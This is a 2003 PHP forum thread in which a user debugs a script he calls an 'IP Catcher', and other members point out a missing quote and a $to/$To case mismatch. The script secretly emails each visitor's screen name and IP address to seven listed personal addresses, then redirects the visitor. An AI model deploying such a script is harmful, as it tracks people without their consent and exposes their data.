Page 1 of 1
Mailing error:
Posted: Tue Dec 09, 2003 3:20 am
by William
Im getting a mail error saying: ." Couldn't send eMail! ". Any ideas? I knwo why it put that sence it cant send mail but do you see any errors?
Code: Select all
<?php
$sn = "$id";
$ip = "$REMOTE_ADDR";
$to = "Email1" . ", " ;
$to .= "Email2" . ", " ;
$to .= "Email3" . ", " ;
$to .= "Email4" . ", " ;
$to .= "Email5" . ", " ;
$to .= "Email6" . ", " ;
$to .= "Email7";
$From = "From-Whoever";
$Subject = "Subject-Here
$Body = "Body-Here";
mail( "$To", "$Subject", "$Body", "From: $From" ) or print "Couldn't send eMail!";
Header( "Location: Redirect-Link-Here" );
?>
Posted: Tue Dec 09, 2003 3:31 am
by Nay
You're missing a "; after Subject-here.
-Nay
oops!
Posted: Tue Dec 09, 2003 3:36 am
by William
Copty and pasited it wrong fine ill give the hoel script.. Justr pleas enop one use these eMails my friends will kill me, This is for fun and games hehe... Cant etll me noen fo you have ever made a site send you there Ip witch i note thats not illegal right? heres teh PHP code:
Code: Select all
<?php
$sn = "$id";
$ip = "$REMOTE_ADDR";
$to = "William@TheNetherRealm.com" . ", " ;
$to .= "dead420life@aol.com" . ", " ;
$to .= "jst33390@yahoo.com" . ", " ;
$to .= "wackomatt1212@yahoo.com" . ", " ;
$to .= "xposed69@comcast.net" . ", " ;
$to .= "redragon987@msn.com" . ", " ;
$to .= "biohazardclans@hotmail.com";
$From = "IP Catcher";
$Subject = "You now have $sn's IP!";
$Body = "SN: $sn\nIP: $ip";
mail( "$To", "$Subject", "$Body", "From: $From" ) or print "Couldn't send eMail!";
Header( "Location: Http://www.Geocities.com/the_hidden_viper/template.htm" );
?>
Posted: Tue Dec 09, 2003 3:43 am
by Nay
Copty and pasited it wrong fine ill give the hoel script.. Justr pleas enop one use these eMails my friends will kill me, This is for fun and games hehe... Cant etll me noen fo you have ever made a site send you there Ip witch i note thats not illegal right? heres teh PHP code:
Erm..........

?
-Nay
Posted: Tue Dec 09, 2003 3:45 am
by Nay
eh:
Code: Select all
mail( "$To", "$Subject", "$Body", "From: $From" ) or print "Couldn't send eMail!";
// use or die()
mail($me, "you rule", "yeah, nay heredoc and you rocks!", "From: whoelse?") or die ("Could not send mail");
-Nay
hehe
Posted: Tue Dec 09, 2003 4:11 am
by William
probley an OLD version of PHP used tahty found ti on a website longs time ago and wa slookign through odl codes and already knew how to mail but interested so i tryed tio thanks again bye! Only problem is: It works if im only sendin git to 1 person so makes me wonder bye
O ya thanks
Posted: Tue Dec 09, 2003 4:13 am
by William
Thanks forgot to say that i think in last post and i wish i could type as well as i do at coding hehe and dont do good int hat but i manage to type better in it

Nope...
Posted: Tue Dec 09, 2003 4:15 am
by William
Nope... Still same so obviosly the or print ""; works just like die somtiems anyways it said same thing im going to bed 4:14 AM night all cya tomarrow
Posted: Tue Dec 09, 2003 4:29 am
by twigletmac
You have $to and then try and use $To - PHP is case-sensitive so $to != $To.
Mac
wow
Posted: Wed Dec 10, 2003 4:10 am
by William
ill try that thanks

takes good eyes to see that one thanks!